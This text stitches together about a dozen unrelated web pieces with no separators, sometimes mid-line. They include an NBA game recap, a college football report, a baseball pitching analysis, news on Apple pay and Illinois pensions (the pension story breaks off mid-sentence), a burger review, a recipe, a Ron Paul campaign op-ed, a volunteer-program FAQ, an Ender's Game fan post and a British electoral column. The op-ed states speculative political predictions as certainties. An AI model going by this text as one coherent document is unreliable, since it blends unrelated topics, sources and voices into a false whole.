But they gelled eventually and started to clamp down on defense before the midgame break, and that effort translated to a second half in which the Charlotte Hornets only managed to score 37 points on 41 shots in 24 minutes. Take away Al Jefferson, who was an unstoppable force all night, and the other Hornets shot a combined 10-for-28 (35.7%) over the third and fourth quarters.
Combine that stout D with a bunch of guys stepping up when needed, and you’ve basically got yourselves a perfect game-long microcosm of these 2014-15 Pacers so far: gritty, weird, and not super talented — but enough to be there until the end.
There was also this:
I don't know what's more fitting: That game winning bucket in Lance's return or that bucket/moment on the 10-year anniversary of the brawl — Michael Grady (@Grady) November 20, 2014
Nice way to wash away the 10th anniversary of The Brawl with that new good memory, Solo.
Most importantly, after losing six straight games, this undermanned, injury-riddled Pacers squad has now won four of its last five games while building a 5-7 record on the year. With this personnel, that is nearly as impressive as the year Michael Jordan won 72 games. Clap for these dudes.
The Bad: 3-point shooting. The Pacers made just 2-of-15 (13.3%) of their long-range attempts. It is quite amazing they can still pull out wins while sporting huge box-score warts like that — not to mention their 66.7% free-throw accuracy.
MVP: Solomon Hill. Who else? Roy Hibbert was better throughout, no doubt, but the game ball goes to the guy who used the ball to win the game. (If we were being completely objective, or I guess if this was a Most Outstanding Player nod, this would go to Jefferson. He was tremendous.)
LVP: Gerald Henderson. Zero points in 24 minutes is a rough look, my dude.
X-Factor: The Pacers big men outdueling Al Jeff’s with a by-committee production approach. Indiana’s only three incumbent vets — Hibbert, Luis Scola, and Ian Mahinmi — plus Lavoy Allen were all on point this evening, shooting a combined 18-for-33 while scoring 44 points.
Charlotte Hornets 86 FinalRecap | Box Score 88 Indiana Pacers Luis Scola, PF 30 MIN | 6-9 FG | 3-4 FT | 7 REB | 0 AST | 1 STL | 0 BLK | 0 TO | 15 PTS | +15 His second excellent game in a row. Where ye been all my life, Scoler?
Chris Copeland, SF 27 MIN | 2-6 FG | 2-2 FT | 2 REB | 2 AST | 0 STL | 0 BLK | 1 TO | 6 PTS | -5 Not his best effort. A few flashes, but sorta just blended into the background a lot, which isn’t usually the way he underwhelms. Usually you notice him more, good or bad.
Solomon Hill, SF 38 MIN | 3-8 FG | 0-0 FT | 5 REB | 0 AST | 0 STL | 0 BLK | 3 TO | 6 PTS | +15 Mundane night mostly — then he bodied the Buzz on Lance Revenge Night. Best of all: after hitting an out-of-nowhere game-winner for a ragtag group of throwaways that recently lost six in a row, Solomon Hill treated the post-game interview with all the excitement of Barry Sanders getting a first down in his final season. Just mobbin’ like that.
Roy Hibbert, C 30 MIN | 7-14 FG | 4-6 FT | 11 REB | 2 AST | 0 STL | 1 BLK | 2 TO | 18 PTS | +3 Monster work, though Al Jeff took him out to the woodshed and taught him what splitting a cord is all about. Still, Mr. Jeff does that to people, so you just gotta tip the cap sometimes.
Donald Sloan, PG 31 MIN | 3-8 FG | 5-6 FT | 9 REB | 6 AST | 1 STL | 0 BLK | 2 TO | 11 PTS | +7 Look at Don Sloan, Point Gawdfather, putting up 11/9/6 lines and me not even being all that impressed. If you told me this was possible three weeks ago, I woulda laughed at you. I’m not even gonna give guy an A for this though. That’s how real he has been.
Lavoy Allen, PF 19 MIN | 3-6 FG | 0-0 FT | 8 REB | 1 AST | 0 STL | 1 BLK | 1 TO | 6 PTS | -13 Well done, working the boards and doing the little things. Plus plenty of production.
Damjan Rudez, SF 5 MIN | 1-1 FG | 0-0 FT | 0 REB | 0 AST | 0 STL | 0 BLK | 1 TO | 3 PTS | 0 My man.
Ian Mahinmi, C 18 MIN | 2-4 FG | 1-3 FT | 7 REB | 1 AST | 1 STL | 1 BLK | 0 TO | 5 PTS | -3 Well played.
A.J. Price, PG 17 MIN | 3-9 FG | 0-0 FT | 0 REB | 2 AST | 0 STL | 0 BLK | 1 TO | 7 PTS | -5 Not his finest 17 minutes. Hit a couple of jumpers in the fourth though, so that’s what matters more.SAN DIEGO -- Rashaad Penny had a San Diego State-record 429 all-purpose yards and scored four touchdowns to help San Diego State beat Nevada 42-23 on Saturday night.
Penny finished with 24 carries for 222 yards and 2 touchdowns, 201 yards and two scores on three returns (two kickoff and one punt) and added one reception for six yards.
After Ty Gangi hit Brendan O'Leary-Orange for a 48-yard touchdown to give Nevada (2-9, 2-5 Mountain West) a 10-0 lead, Penny scored on a 23-yard run. The Wolfpack then went three-and-out and Penny returned the ensuing punt 70 yards for a touchdown to make it 14-10 late in the first quarter. It was the first time Penny lined up as the punt returner in his career.
O'Leary-Orange's 7-yard TD catch put Nevada back in front early in the second, but Christian Chapman hit Mikah Holder for a 5-yard touchdown just before halftime and Juwan Washington's 1-yard scoring run gave San Diego State (9-2, 5-2) a 28-17 lead early in the third quarter. Gangi capped a 12-play, 89-yard drive with a 2-yard pass to O'Leary-Orange, but Penny took the kickoff 100 yards for a touchdown and added a 67-yard TD run in the fourth.
Gangi was 33-of-54 passing for 414 yards for the Wolfpack. O'Leary-Orange had 11 receptions for 213 yards and three touchdowns -- all career highs. It was the most receiving yards by a Nevada player since Trevor Insley had 212 against Oregon in 1999.“So you’re just studying oddity pitchers,” said Zach Britton over my shoulder as I took our conversation over to Darren O’Day. I bristled at the word oddity, because it implied some sort of freak-show gawking. “No! I’m into pitching, and you guys have interesting pitches,” was my earnest response. Eventually, most of the Orioles bullpen was in our scrum, talking pitching and pitches.
He wasn’t wrong, though. At the heart of that bullpen are three very… odd pitches. And checking out the three of them can teach us something about arm action.
Zach Britton’s Cutter Sinker
Take a look at Britton’s sinker grip and you’ll immediately know something strange is going on. That’s no two-seam grip.
Zach Britton’s Cutter Sinker Grip.
I mean, take a look at Jake Peavy’s cutter grip.
Jake Peavy’s Cutter Grip.
Britton’s sinker is almost the left-handed version of Peavy’s cutter grip.
Maybe that shouldn’t be surprising. The pitch is a result of his pitching coach in the minors, Calvin Maduro, trying to teach him a cutter. When they saw what was happening — “it was slightly unique” Britton said with a smile — they decided to run with it.
The result has been a pitch that almost defies classification. Look at its main features put up against the averages for a couple pitch types.
Zach Britton’s Sinker Movement & Velocity, In Context Pitch Type avg(pfx_x) avg(pfx_z) Velocity Britton’s Sinker 9.1 3.7 95.8 Four-Seam 5.5 9.4 91.2 Two-Seam 9.4 6.8 90.8 Sinker 9.8 6.1 89.8 Cutter 0.6 5.7 86.2 Split Finger 7.4 2.4 83.1 Slider -1.1 1.4 82.9 Sample: All lefty pitchers, 2015
avg(pfx_x) = average horizontal movement, in inches
avg(pfx_z) = average vertical movement, in inches (smaller = more drop)
Velocity = average velocity in mph
Britton’s sinker does have the arm-side fade of a two-seamer or sinker, yes. But it has even more drop than your regular cutter, and as much drop as some changes and sliders.
Take a look at the only other fastballs that have averaged 94 mph and also dropped anywhere near as much as Britton’s sinker. Remember that he’s the only lefty, so he should get about a mile per hour extra credit, since lefties generally throw that much slower.
Zach Britton’s Sinker Comps Pitcher Throws count(*) avg(Pfx_x) avg(Pfx_z) avg(start_speed) GB% swSTR% Sam Dyson R 509 -9.0 1.8 95.5 80% 11% Zach Britton L 744 9.1 3.7 95.8 82% 14% Carlos Martinez R 687 -9.3 3.8 94.8 64% 8% Blake Treinen R 548 -9.7 3.8 96.3 69% 5% Jim Johnson R 650 -8.6 4.9 94.3 63% 5% Sample: All lefty pitchers, 2015
avg(pfx_x) = average horizontal movement, in inches
avg(pfx_z) = average vertical movement, in inches (smaller = more drop)
Velocity = average velocity in mph
You could say that Britton throws the righty version of the sinker thrown by Carlos Martinez, but even that doesn’t quite capture how effective Britton’s sinker has been. It’s clearly a rare pitch, even if there are two or three other right-handers that get similar movement and velocity. And by results, Britton is all alone when it comes to combining whiffs and grounders.
As for why the pitch ends up moving like that, Britton shrugs. “I try not to pronate or manipulate the pitch at all,” he said, “just grip it and throw it.” He acknowledges it looks like a cutter grip, and even admits that all he does to throw his slider is move the thumb in. So a big part is the grip, but it’s not all of it.
Why does he create a sinker with a cutter grip? “I think it’s unique to each guy. Maybe arm action?” was the best the pitcher could come up with. To compare, here are freeze frames at or near release for Zach Britton, Blake Treinen, and Sam Dyson.
Arm slots on release for Zach Britton (left), Blake Treinen (middle), and Sam Dyson (right).
While they’re all less than over the top, Britton’s arm angle doesn’t dip as much as the other two. By height-adjusted release point, Britton is four inches higher than Treinen, who is four inches higher than Dyson. So “arm action,” if it’s our answer, is not only about release point and arm angle.
Darren O’Day’s Submarine Riseball
We’ve talked about this pitch before, but not long after we debuted the Submarine Riseball, I got a chance to talk to the pitcher about his pitch. Turns out, it’s just a four-seam grip. Thrown in super slow mo from down below, here’s video sent by the pitcher himself.
Here’s another unique pitch — there might be another pitcher that throws a submarine riseball, but we couldn’t find one — and it’s not all about arm angle. There are other submariners, in other words, but no other PITCHf/x-era submarine rising fastballs.
When I asked about how he manages to get that movement, O’Day wasn’t sure either. “I spiral it, and that keeps it stabilized,” he told me before a game with the Athletics. “When I throw my slider, they look similar.”
He mentioned arm slot, but also finger action. The thing that makes his slider (left) and four-seamer (right) similar despite different grips is that they come off his middle finger. By releasing the four-seamer off of his middle finger, he gets the backspin that leads to that rare rising action.
Darren O’Day’s slider (left) and four-seam (right) grips, from his approximate arm angle.
Take a look at a still from the video above.
Darren O’Day’s middle finger is prominent as he releases his riseball.
So, to understand arm action, we also have to understand finger action.
Mychal Givens‘ Sidearm Cutter
There are other crazy sinkers (though not from a lefty), and there are other submariners (though not with rising fastballs), but you might be most surprised that there aren’t many other Mychal Givens types out there, either. Especially when you see it live — it looks almost unremarkable until you see how uncomfortable the hitters are.
Givens releases from a sidearm slot, sort of. And given that slot, his movement is surprising. Take a look at the few guys that release within an inch of his “true release point,” which is just a height-adjusted vertical release point. He’s got the “straightest” fastball.
Mychal Givens ‘ Fastball in Context Pitcher Height Average X0 Average Z0 True RP Avg (PFx_x) Avg(PFx_z) Chris Sale 78 2.8 5.1 -16.6 11.4 5.8 Mychal Givens 72 -3.0 4.7 -16.0 -4.1 7.0 Louis Coleman 76 -3.9 5.0 -15.6 -4.6 7.9 Yimi Garcia 73 -2.4 4.8 -15.3 -6.4 7.5 Sample: All pitchers, 2015, within one inch of -16 True RP
True RP = height adjusted release point
avg(pfx_x) = average horizontal movement, in inches
avg(pfx_z) = average vertical movement, in inches (smaller = more drop)
Average X0 = average horizontal release point
Average Z0 = average vertical release point
Hence the hitters’ lack of comfort — they’re expecting a sidearm fastball with tons of arm-side fade, and they get something that almost looks like a cutter. “My pitching coach in Double-A used to say I’m a unicorn,” admitted Givens. “It’s weird,” said O’Day of Givens’ release. “He gets on top of the baseball from that low three-quarters slot.” Even though it doesn’t look like a three-quarters slot, you can understand what O’Day means.
Looks like a sidearmer, cuts like an over-the-topper.
So we have to add a third function to “arm action” — hand position. You can’t see in the picture above, but his hand isn’t parallel to the ground. As O’Day says, Givens gets on top of the pitch despite his arm angle.
Givens’ grips are standard, but his hand angle and arm slot combine to give him a unique look. Britton has a self-confessed “funky grip” with otherwise more standard release action. O’Day has the strangest release, and uses a different finger action to separate himself from the rest of the submariners. O’Day sums it up well when he says that pitch movement is “a combination of grips, hand size, finger length, arm length, and hand position.”
Grips are cool, but arm action is just as meaningful. And within arm action, it seems, we can include hand and finger action as well. Amazing what a few oddities — I mean, ahem, unique pitches — in the Baltimore bullpen can teach us about baseball.The undeveloped industrial part of northern Greenpoint may soon be the city’s next premier neighborhood – complete with its own Santiago Calatrava bridge! Handel Architects has designed ten luxury towers that would completely transform and enliven twenty-two acres of land along Commercial Street while connecting it with Long Island City, Queens. The new community, dubbed “Greenpoint Landing”, would be a sustainable neighborhood for Brooklynites looking to live on the water’s edge.
Starchitect Santiago Calatrava may be bringing one of his famous, wing-like bridges to the project to connect Long Island City, Queens with the new neighborhood in Greenpoint. Aside from this signature landmark, Greenpoint Landing will also have ten green-roofed luxury towers rising between 30 and 40 stories. Around 4,000 apartments will be brought to the complex, of which twenty percent will be reserved for affordable housing.
The current industrial waterfront will be redeveloped to make Greenpoint Landing an important marina on the East River. Overlooking the Empire State Building and the Chrysler Building, the towers will get superior views of Manhattan along with an influx of amenities like fitness and sports centers, swimming pools and hot tubs, restaurants and retail and even an ice rink and putting green.
Currently, the site is occupied by the soon-to-be-disassembled set for Boardwalk Empire, as well as a giant parking lot for MTA vehicles. Along with the new residential towers, the parking lot is said to be redeveloped into a long-awaited park for Greenpointers to enjoy.
+ Handel Architects
Via GothamistSAN FRANCISCO (AP) — Apple penalized CEO Tim Cook for the iPhone maker’s first sales slump in 15 years with a 15 percent pay cut.
Cook still did extremely well, with a compensation package valued at $8.7 million for Apple’s fiscal year that ended Sept. 24, according to a regulatory filing made Friday. But the amount was down from nearly $10.3 million in the prior year.
The Cupertino, California, company cited a downturn in Apple’s revenue and operating profit as the main reason it cut the pay of Cook and its other top executives.
Apple’s revenue dropped 8 percent to $216 billion, while its operating profit declined 16 percent to $60 billion. That was mainly because it sold fewer iPhones for the first time since the device came out in 2007.
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It also marked the first time that Apple’s annual revenue decreased since 2001, which was just before the company’s late co-founder and CEO Steve Jobs unveiled the iPod. That digital music player set the stage for the iPhone and iPad.
The iPhone triggered a revolution in mobile computing and became Apple’s biggest moneymaker, even as a wide range of device makers released competing products primarily running on Google’s free Android software. Most of the world’s smartphones are powered by Android, but the iPhone remains a popular high-priced status symbol.
Even so, consumers are holding on to their existing iPhones for longer periods instead of upgrading to a newer model every year or two. That has raised investor concerns that Apple has become too dependent on the iPhone, a nagging worry that has been aggravated by the company’s inability to introduce another breakthrough product since Jobs’ death in 2011.
Cook, Jobs’ anointed successor, had hoped Apple would have another huge hit with a smartwatch unveiled in 2014, but that device has only had moderate success.
Apple’s regulatory filing revealed that the company was bracing for a sales drop last year, although not quite as steep as what occurred. The compensation committee for Apple’s board of directors had established a revenue goal of $224 billion for last year, which would have been a 4 percent decline from the previous year.
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The company expected sales to rebound during the holiday shopping season on hopes that consumers would be snapping up its latest iPhones, the 7 and 7 Plus. Apple will release its quarterly results that include the holidays later this month.MEATmission – XXXmas Burger
I’ve never reviewed MEATmission or MEATliquor, as I felt that my involvement with their now defunct MEATtransMISSION radio show made it a bit of a conflict of interests, but now that I don’t have that issue, my first time casting judgement on one of the big hitters of the London burger game.
I managed to sneak in between a pair of gigs on a Friday night, and it was a simple task for me to choose the sustenance from the offerings available – piggies in blankets and the XXXmas Burger, as well as one of their excellent sazeracs. As the meal was an in-and-out hit job, so too will this review be a lot shorter than the others I’ve done so far.
The piggies in blankets were absolutely bloody lovely. Fantastically juicy and meaty, with a wonderful flavour that danced around savoury with a hint of sweetness in there, you could tell that these chipolatas are made from great pork. The bacon they were wrapped in was as crispy as you’d hope, giving the right combination of textures as you bit through that and into the softer sausage they encased. A little blob of mustard to add heat made for a genuinely delicious side dish.
The main event didn’t massively impress me at first glance. The turkey is thin slices kind of folded up in there, going against the grain in the Christmas burger which seems to favour a big lump of, breaded, deep-fried breast.
But if we’re looking at this logically, MEATmission’s approach is more “authentic” – a lot more people will have thin slices on their Christmas dinner plates than breaded, deep fried pieces! The top filling is the rather clever bacon disk they make – basically smushing and cooking a load of bacon so it fits in the bun better than the more normal slices people would use. The stuffing crumbles were a little dry I thought, presumably because of being smaller pieces, but a good touch – stuffing is quintessentially Christmassy for me. The Old Spot patty was excellent, with the cranberry adding that traditional sweetness aspect of a Christmas sarnie. The turkey was super juicy, a result of it being sort of “basted” with the gravy it mentions. An extra tray of gravy to the side to dip this in, a la Blacklock, now that would have been fantastic.
It was a really proper feast of flavours and textures – the turkey was so juicy, savoury and succulent in particular. I demolished the thing in no time at all, and it really did evoke the season to my palate. As I mentioned, stuffing is a big Christmas food at my home – sage & onion being my favourite. A lot of these specials seem to use that as the vehicle for pork, but personally I’ve never really gone down the meaty stuffing route, so this was a welcome choice for me and my tastes. All in all, a success, if not quite at the level of Blacklock or Mac & Wild.
XXXmas Burger – 8/10
Christmassyness – 9/10
Piggies in Blankets – 8.5/10
Sazerac – Boozy/10
Overall 8/10
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FacebookThese mushroom stuffed zucchini is delicious vegan, vegetarian and gluten-free dinner. This is perfect to make when you are craving something spicy, cheesy and want to eat minimal calories. This recipe is flavorful, healthy, and my family favorite! This recipe is even helpful when you are trying to lose weight as it is made with lots of veggies.
Zucchini is favorite among low-carb dieters and anyone who wants to lose weight fast. zucchini has a very low score on the glycemic index. Due to its high water percentage, zucchini is low in calories, carbs and sugars, but high in essential nutrients like potassium, manganese and antioxidants like vitamin C and vitamin A.
Making these mushroom stuffed zucchini is very simple and easy. Start by preheating the oven and while that is happening we can prepare our stuffing. Heat oil in a pan then add onion and bell pepper and sauce them until soft. Then add mushroom and corn and sauce them. Make sure that the moisture in the mushroom evaporates before stuffing them into zucchini. This mushroom stuffed zucchini is great for kids as well, because it is packed with lots of veggies.CHICAGO, Nov 27 (Reuters) - Illinois legislative leaders on Wednesday reached a long-elusive deal to reform the state’s woefully underfunded public pensions, but the plan must still win support of lawmakers and could face legal challenges if approved.
Powerful House Speaker Michael Madigan told reporters the plan would save the state more than $160 billion over 30 years.
The plan raises the retirement age and reduces automatic increases in pension payments, according to a legislative source with detailed knowledge of the plan. It also gives state employees alternative options for retirement income, while also creating ways to block any future efforts at under-funding pensions by going to court to stop them.
Under the deal, the retirement age for workers who are currently aged 45 and under would gradually increase. And for high wage earners, the state would set a cap on the portion of their salaries used to calculate pension benefits, according to the legislative source.
The current 3 percent annual cost-of-living adjustment (COLA) for retirement pay would be subjected to a formula aimed at benefiting longer-term, lower earning workers. Increases would be tied to the inflation rate, the source said, but added that COLAs would be suspended for anywhere from one to five years, depending on the age of the worker.
In return, workers would see a 1 percent decrease in their required pension contributions. Workers looking for an alternative to state-funded pensions would have the option of contributing toward a 401(k)-like investment vehicle.
The plan also takes measures to protect the health of the state’s pension system, the legislative source said. Illinois state-employee pension funds would have a right to go to court to force the state to make its required pension payments, according to the source. Money that had been set aside to pay off outstanding pension bonds would be put directly into pension payments starting in 2019.
Steve Brown, Madigan’s spokesman, said details would be released first to members on Friday and then to the public ahead of a legislative session on pension reform scheduled for next Tuesday.
Shortly after the deal was announced it was slammed by Illinois’ public labor unions, which said they were excluded from negotiations over pension changes by the state’s four legislative leaders.
“If their new plan is in line with what’s been reported from earlier discussions, then it’s an unfair, unconstitutional scheme that undermines retirement security,” a statement from a union coalition said.
Previous versions of pension reform have involved imposing limits on cost-of-living increases, changing retirement ages, and adjustments in the amount workers pay toward their pensions. Any pension reform plan likely will face a court challenge based on claims that a diminishment of pension benefits violates the state constitution.
Governor Pat Quinn, who has been urging the Democrat-controlled legislature to tackle the state’s $100 billion unfunded pension liability, applauded leaders “for their hard work to reach this critical agreement.”
Chicago Mayor Rahm Emanuel, whose city is facing its own looming pension funding crisis, cautioned that Illinois’ pension problem will not be truly solved |
Republicans can’t win. Most Paul supporters will vote for Johnson in November if they are faced with a Romney/Gingrich/Bachmann/Santorum robot as the Republican candidate.
The Republicans are now panicking. The left-wing media (such as it is, say the New York Times), and especially the rabid right-wing media (CNN and Fox News), along with the Republican establishment, is realizing that the only person who can win next November is Paul as the Republican nominee! Most conservatives will still vote for Paul, as will many independents and disillusioned Democrats.
If Paul gets the Republican nomination, Johnson will do the right thing, support Paul, and withdraw. Johnson would make the perfect vice-presidential running mate to Paul, which is the ideal Republican ticket to me. Ron Paul and Mitt Romney are tied in polls for the candidate best able to beat Barack Obama.
But if the Republican candidate isn’t Paul, the Republicans simply cannot win. And that is driving the media and the Republican establishment bat-shit crazy.
Paul will win the IOWA caucus. He’ll be a strong second in New Hampshire. This Republican nomination will be contested right through to California on June 5th, and I’m sure it will be a see-saw battle between Romney and Paul for the most part.
Paul will pardon all non-violent drug offenders in federal prisons. He will pardon the millions of Americans who have drug offenses on their federal criminal records. He does not need Congressional approval to do this. As Commander in Chief, he will begin the withdrawal of U.S. troops from Germany, Korea, Japan, and all the outposts around the world. He will get out of Afghanistan. He will greatly change the CIA and NSA. He will abolish the DEA whenever possible. He will stop giving tax money to Mexico and Colombia to wage their murderous drug wars. He will repeal the Patriot Act. He will veto any Congressional bill that he deems unconstitutional. He will end the Transportation Safety Authority (TSA). He will cut one trillion dollars from the U.S. federal budget, eliminating five departments. He will immediately permit all states with medical marijuana laws to enact them without obstruction from the federal government.
Make 2012 the year Ron Paul changed America after 50 years of terrible mismanagement. I beg you to get involved with the Paul campaign in your state. If Paul becomes president, every marijuana prisoner in U.S. federal prisons, myself included, will be freed and pardoned, allowed to start our lives once again, in a world without prohibition. For once Paul ends federal prohibition in the U.S., it will fall in Mexico, Canada, and Europe shortly afterward.
The fate of the Free World really does rest on our culture’s decision to get actively involved with the Ron Paul campaign. Wherever you are, you can pitch in and help.
As of today I have 924 days left in my sentence in federal prison. If Ron Paul becomes president, it will be half that exactly: by March 2013 I would receive a pardon that he would issue to all marijuana offenders in federal prisons. I am one of tens of thousands whose lives would be impacted, and millions of Americans would have their criminal convictions for drug offenses expunged.
If you consider yourself an activist for the cannabis culture, any indifference or failure to act at this crucial time in America’s history is tantamount to betrayal. I do not choose that word lightly.
Ron Paul in 2012. To end the prohibition around the world. This year. Register Republican to vote for Paul in the primary in your state. Join his campaign RIGHT NOW. Give money to his campaign. Actively talk him up.
The Mayan calendar suggests that great change will come by December 2012. The greatest thing we could do for mankind is reduce drastically the chances of war by reducing the American Imperial Empire, and to end prohibition worldwide. That can happen by what we, as a culture, in concert with the rest of America, do in the next 11 months.
Marc Emery is the founder of the B.C. Marijuana Party and former publisher of Cannabis Culture. He is currently serving a 5-year prison term in a U.S. federal penitentiary for selling marijuana seeds and using the money to fund cannabis activism in Canada, the U.S., and around the world.Nisqually Stream Stewards classes will start again in summer 2019!
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Frequently Asked Questions about Stream Stewards
The Nisqually Stream Stewards (NSS) is a program offered by the Nisqually Indian Tribe and Nisqually River Council, who recognize that long-lasting restoration and stewardship will only come about through community-based efforts.
NSS is a free class open to anyone interested in learning about the Nisqually Watershed. We offer more than 40 hours of training, hands-on experience, and behind-the-scenes field trips around the watershed, in exchange for 40 hours of volunteer time. During the class, participants have the opportunity to meet new people, discover new places, and network with natural resources professionals from Mount Rainier National Park to the Billy Frank Jr. Nisqually National Wildlife Refuge, and everywhere in between. Discover volunteer and citizen science opportunities offered by the Nisqually Land Trust, Nisqually River Council, Nisqually River Education Project, Nisqually Indian Tribe, Northwest Trek and many more.
A sample of volunteer opportunities include:
Tree planting projects
Salmon Watcher training
NatureMapping
Salmon carcass tossing
Nisqually Land Trust site stewards
Leading student field trips
Citizen Science data collection (field and lab)
Interested in other topics? Let us know! We’ll try to help match you with your interests!
More information, including class presentations, a recommended reading list, and class schedule, is available on the Nisqually Stream Stewards Resources Page.
Join the Nisqually Stream Stewards and help take care of your local streams!
Registration for NSS 2018 is closed, but contact us for public volunteer events and to get involved next year. Participation is free and annual class sizes are limited to 30 people. Although the class is open to people of all ages, we ask that participants under 16 years old are accompanied by an adult. For more information, email streamstewards@nisquallyriver.org or call 360-438-8715. You can also like us on Facebook for all the latest Nisqually news!
Nisqually Stream Stewards FAQs
Can children participate in Stream Stewards?
Yes. Stream Stewards coursework is geared towards adults but people of all ages are welcome. Youth under 16 need an adult chaperone to attend all classes with them. Kids as young as 8 have participated in Stream Stewards and children with supervision are welcome at most events.
Can I participate in Stream Stewards if I have a disability or mobility challenges?
Yes. Stream Stewards welcomes people of all abilities. The coursework portion of the program is a mix of classroom lectures, activities, and outdoor field experiences. Some field experiences involve a moderate amount of hiking over terrain that may be steep, uneven, or slippery, and is not wheelchair-accessible. People with limited mobility may not be able to participate in every part of a field experience. There are numerous volunteer opportunities that don’t require strenuous physical activity, including computer work, supporting education programs, and citizen science data collection. If you have questions about how the program might work for you, please contact us!
Can I get college or professional development credit for Stream Stewards?
Stream Stewards classes are eligible for Continuing Education Units (CEUs) through Northwest Indian College. CEUs are for professional development and community education purposes and do not count for college credit. We are happy to discuss independent learning contracts or other opportunities to incorporate Stream Stewards into for-credit college coursework.
Can I participate in Stream Stewards if I need to miss a class?
We can usually accommodate up to three absences from Stream Stewards classes and field trips. Because we organize carpools and other resources based on the number of participants, we ask that you let us know in advance if you need to miss a class. If you can’t complete the course in one year, you are welcome to come back the next!
Are volunteer events mandatory?
Nisqually Stream Stewards hosts several public volunteer events each year, including tree plantings, salmon tosses, and river or park clean-ups. These events are not required, but it is a great way to stay connected to NSS classmates and we encourage Stream Stewards to attend and to bring friends and family along! You’ll also find Stream Stewards volunteering at other events in the watershed year round, with the Nisqually Land Trust, Nisqually Reach Nature Center, Citizens Advisory Committee, Salmon Watchers program, and more. Each Stream Steward is responsible for arranging their 40 volunteer hours in a way that meets their own needs and interests, and for reporting them back to the Stream Stewards coordinators.
Do I have to join Stream Stewards to volunteer?
No! Anyone is welcome to volunteer at Stream Stewards events or with our many Nisqually partners. If you want to get involved but can’t make the full commitment to 80 hours of Stream Stewards classes and volunteering, check out our list of volunteer opportunities and feel free to contact the hosts directly for more information and to receive news about upcoming events. We also frequently share volunteer opportunities on our Nisqually Stream Stewards Facebook page.
Does training time count towards my volunteer hours?
Yes. Some volunteer programs require an orientation or training. Your training time does count towards your 40 hours – just log it and report it on your volunteer timesheet.
Where do Stream Stewards volunteer?
Nisqually Stream Stewards primarily supports activities and organizations within the Nisqually Watershed (map here). Many Stream Stewards-sponsored events take place in the upper watershed on the Mashel and Ohop tributaries, supporting the restoration of vital salmon habitat. There are many ways to get involved with partners from Mount Rainier down to the Nisqually Delta and Reach near Olympia. For a list of our major volunteer partners, their activities, and how to contact them, visit our Volunteer Opportunities page. Most of your Stream Stewards 40-hour commitment should be met working within the watershed. If you have questions about whether an activity qualifies for Stream Stewards hours, contact us any time.
Get involved! Contact streamstewards@nisquallyriver.org to learn more.So now that Entertainment Weekly has pushed out the exclusive first look at Ender’s Game, much of the world that wasn’t aware that this movie is in the can and ready to come out in about 11 months is now aware and with that has come what I think some of my fellow fansite admins have been dreading along with me: people immediately declaring against the film because of author Orson Scott Card.
When I first read Ender’s Game, I was probably 11 or 12 years old. I was in the sixth grade. It was around 1991 and my parents eagerly shoved it into my hands, wanting me to read their favorite book and come back to them and talk about this fascinating little boy Ender.
I couldn’t help it, I was hooked. I loved Ender. He was a savior, a soldier, and unbeatable yet kind, vulnerable, and ever so small. Reading the book again earlier this year I couldn’t help but look over at my six year old son and imagine what it must have been like for Mrs. Wiggin, to live in a world where your third child is “requisitioned” and can be taken away at a moment’s notice with hardly any time to prepare.
My household didn’t get internet until 1996, so the idea of the nets that Valentine and Peter built their reputations on seemed very high tech science fiction to my little tween brain. It also meant that I had no idea who Orson Scott Card was other than an intimidating name on a book cover I’d come to love so much.
Now that I’m firmly plugged into the internet, it’s been a little rough to find out more about the real man behind the Battle School because my own beliefs really don’t line up with his. Back when I started this site last year, when I first heard about Alex Kurtzmann and Bob Orci taking it on, I had to pause a minute. Did I want to do this? Did I want to create a site dedicated to a movie based on a book written by a man very vocal in the media about his anti-gay and political sentiments? In the end, it came back to Ender Wiggin.
I couldn’t deny how much I loved this character Card had created. I couldn’t shake off the excitement I felt 20 years ago reading about kids my age responsible for the fate of the Earth, written so well that they felt real. It’s rare nowadays for me to latch on to characters in a similar way; a sure sign of a great character writer.
And so today, over a year after I started this site and over six months after I visited the set in New Orleans, I felt saddened by the comments that began popping up on EW.
I hope it tanks. OSC is an asshat.
Scott Card is a serious homophobe. Pass.
That bigot won’t be getting any of my money.
Saddened because after spending a whole day with the people behind the movie, without Orson Scott Card in sight, I found them all to be really, truly nice people just as passionate about the book as the people they’d invited onto their set. We met members of the cast and even parents of the cast. I don’t know what their personal beliefs are, but they’re entitled to them, just as I’m entitled to mine and Card is entitled to his. I certainly don’t think any of these kids deserves to be treated as though they’re Orson Scott Card himself.
So that’s been a fear in the back of my mind for a while. Is this movie going to crash and burn because of its author? Will people protest the premiere? I don’t really know. I certainly hope not.
To wish for this movie’s failure is to wish a failure upon not just Card, but on a huge cast of young actors and a crew of hundreds. Sure, it’s Card’s story, but in my humble opinion, the movie “belongs” to those who made it. Their performances will make or break this movie and that’s what we should be examining come next November.
So while the opinions of Orson Scott Card may not match my own, I’ll continue to support this film, its cast, and its crew.
I support Ender Wiggin.Some reflections on legitimacy and on FPTP
There may be a lot of fuss in the next few days about the ‘legitimacy’ of the various parties’ claims to take part in the new government. There is also a growing lobby, presumably worked up over many lunches and dinners in the manner described in my ‘Cameron Delusion’, aimed at abolishing this country’s voting system and replacing it with a Continental proportional system designed for a wholly different culture.
Please try not to be fooled by this stuff. One rule decides who forms a government, and that is the ability to command a majority in the House of Commons. All parties which have not got an overall majority are losers. A party without a majority, even if it has the largest vote or the largest number of seats, is still a loser. It must eat its slice of humble pie with the others.,
Thanks to Mr Cameron and Mr Clegg, and their Fixed Term Parliaments Act, this is not as simple as it used to be. It is far harder for the House of Commons to throw out a dud ministry and force an election.
And that means that the Queen’s government may well be carried on in the next few years by a series of ad hoc informal alliances, rather than by any formal coalition. For this to work, one party will have to be the government, having all the ministerial posts etc, but heavily constrained by the limits on its action caused by mathematics.
This isn’t totally different from the existing arrangement, in which large minorities within parties can keep them from doing things that their leaders would like to do – or the longstanding cross-party socially liberal alliance which pushed through the whole permissive society agenda, and then combined again to get us into the Common Market, as it then was.
But its operation will be more obvious.
It’s obviously less satisfactory than a clear majority government in some important ways. Foreign policy will be especially weakened. But that’s not the fault of the constitution.
It’s a necessary result of the decay of the two major parties, which is not some irrational development but an absolutely true reflection of the fact that they have lost any true reason to exist.
They are classic examples of organisational inertia, by which bodies which have outlived their usefulness seek to survive for their own sake, and invent new reasons for doing so (the NATO alliance whose whole purpose vanished in 1991, is another example).
We are in a similar fix to the one we were in in the 1920s, when the Liberals had not quite died, and Labour had not yet grown strong enough to supplant them. We got through that without adopting some Belgian sociological system for electing our ancient Parliament.
As I said on BBC2’s ‘Daily Politics’ on Tuesday (it’s about 18 minutes in, here http://www.bbc.co.uk/programmes/b05twy29 )
The electoral system is not there for the good of the parties, but for the good of the country.
